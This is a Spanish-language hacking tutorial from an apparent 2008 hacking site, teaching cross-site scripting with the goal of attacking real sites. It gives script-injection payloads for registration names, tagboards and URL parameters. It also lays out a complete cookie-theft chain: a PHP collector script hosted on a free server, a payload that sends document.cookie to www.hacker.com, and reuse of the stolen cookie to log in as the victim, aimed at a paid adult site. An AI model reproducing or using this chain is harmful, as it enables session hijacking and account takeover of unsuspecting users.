INICIO   

Cursos Hack   

Descargas   

::HOROSCOPO::   

Zona de videos   

Descargas de Virus   

Analisis sistema   

Fondos de pantalla   

Reemplazos Escritorio   

Seguridad, Antivirus   

Intercambio p2p   

Navegadores   

Cursos Hack   

Crakeadores   

bueno empezemos el juego, mucha gente conoce los cross site scripting�.



hace un buen dia, el sol ha salido, un joven espa�ol se levanta por la ma�ana (o mejicano, kien sabe) abre su Konqueror o Mozilla firefox (o internet explorer de microsoft si no le preocupa su seguridad i utiliza windows, cosa respetable) i entra a



www.securityfocus.com/archive/1



para ver k bugs salieron hoy, va revisando posts i lee:



XSS in phpbb all version



por poner un ejemplo, XSS es la abreviatura de cross site scripting, i phpbb un sistema de foros basado en php + mysql, esto era solo un ejemplo, k conste, XSS hay en muchos productos.



el joven k lleva unos meses en el hacking i aun no sabe mucho, ni si kiera lo habre pensando: va, un xss para k lo kiero? si lo maximo k se puede hacer es alert(documment.cookie) o ni si kiera sabe eso�



acaba de perder la oportunidad de su vida!



bueno sin exagerar, lo k el joven no sabe es k con eso podria haver hackeado, si si, defaceado un phpbb, solo con un tan injustamente llamado XSS, pero k es un XSS�veamoslo



los navegadores convencionales tienen la capacidad de ejecutar codigo javascript, k es un codigo k se ejecuta en el navegador cuando la pagina es visualizada, no se ejecuta en el servidor como lo haria php, sino k el codigo javascript se ejecuta en el navegador de kien visita la web, i sirve para millones de cosas, ventanitas de alerta, i miles de cosas mas.



imaginemos lo siguiente, una pagina la cual tiene un sitio k pone ultimos usuarios registrados:



i sale una lista como podria ser esta:



-jocanor

-ramgo

-edy

-paranoik

-spushan

-DragoN



bueno, una mente muy retorcida como la mia podria decir�bien k me impide a mi registrarme con el nombre:



*script* al3rt(�hacked by jocanor�) */script*



i cuando aparezca la lista de ultimos usuarios registrados i intente visualizar *script* al3rt(�hacked by jocanor�) *script*, el navegador vera k es javascript i lo ejecutara en lugar de visualizarlo, con lo cual a cualkiera k entre le aparecera una caja de mensaje en la k pondra:



hacked by jocanor



vaia, si parece k seamos hackers i todos, i solo hemos registrado un usuario



sigamos con un ejemplo mas practico�



muchas paginas, son conscientes de esto, i filtran el contenido de lo k introducimos i no podemos hacerlo, pero muchas otras no lo hacen, imaginemos un tagboard muy sencillito k no lo filtre, posteamos en el tagboard:



*script* al3rt(�hacked by jocanor�) */script*



i todo el k entre le saltara el mensaje, esto se lo hice a juanillo_killo en su web (usuario de estos foros) me rei mucho xD



continuamos con atakes mas potentes usando XSS



imaginemos k nos dicen k existe un error de XSS en una variable de un foro k todo el k entre en la direccion especialmente construida:



www.hackeame.com/index.php?usuario=foo&sotby=name&sesion=*script* al3rt(�hacked by jocanor�) */script*



le aparece una cajita de mensaje, diriamos: i de k sirve, cuando alguien entre a la web no vera nada, solo vera el cartel el k entre a la web especialmente construdia, no sirve para nada�grave error pensar eso�



por k�kien dice k lo unico ha hacer es ejecutar mensajitos?



tmb podemos robar cookies!!!!!!



vereis, solo tiene acceso a la cookie la web k la creo, pero si estamos diciendo k nosotros podemos ejecutar codigo javascript construiendo direcciones espcialmente dise�adas para ello, el navegador ve k la web es la k creo la cookie i nos deja verla�ejemplifikemos esto k se k asusta un poco:



nos conectamos al msn, estamos hablando con algunas amigas (lo se, siempre pensando en chicas xD)

i se conecta un amigo newbie, nos dice k en una pagina porno k rekiere autentificacion para descargar videos i k hay k pagar tiene un bug de xss k seria asi:



www.pagina.com/index.php?video=codigojavascriptaki



i se ejecutaria, me direis como robo io los videos?



pues bien lo k haremos sera robar la cookie de un usuario�ponerla en nuestro navegador i nada mas entrar estaremos logueados susponiendo k el usuario tuviese activado recordar contrase�a xD



nos creamos una pagina en cualkier hosting gratuito i alli hospedamos un archivo llamado cookies.php



con el siguiente codigo:



*?

$cookie = $_GET['cookie'];

$fff = fopen(�archivo.txt�,�a�);

fwrite($fff, �$cookie n�);

fclose($fff);

?*



ahora construmos la url asi:



www.pagina.com/index.php (sigue abajo)

?video=*script*window.location=�http://www.hacker.com/cookies.php?cookie=�+document.cookie;*/script*



i hacemos k algun usuario de la pagina porno entre al enlace hablando con el, mandandole un mail etc, automaticamente tendremos su cookie en archivo.txt



la recogemos, ponemos lo k hay dentro en una cookie para pagina.com i la metemos en la carpeta de cookies de nuestro navegador i entramos, automaticamente seremos el user al k le robamos la cookie.



atencion: este atake es MUY complejo de llevar a la practica, si no lo has comprendido o no t ves capaz, no t preocupes



si lo has comprendido del todo i crees k puedes hacerlo, entonces puedes ir pensando k tienes posiblidades en el hacking�

Copyright © por <<< DiMeNcIoNhAcK>>> Derechos Reservados.

Publicado el: 2008-07-21 (57 _READS)

Hacker detectados   

Informacion De Usuarios   

Antivirus   

Mas descarados en la web   

Keylogger   

Sniffer   

Seguridad   

Programas chistosos   

Juegos   

Emuladores

Programas de Limpiesa   

defragmentadores   

Utilidades FTP   

Juegos flash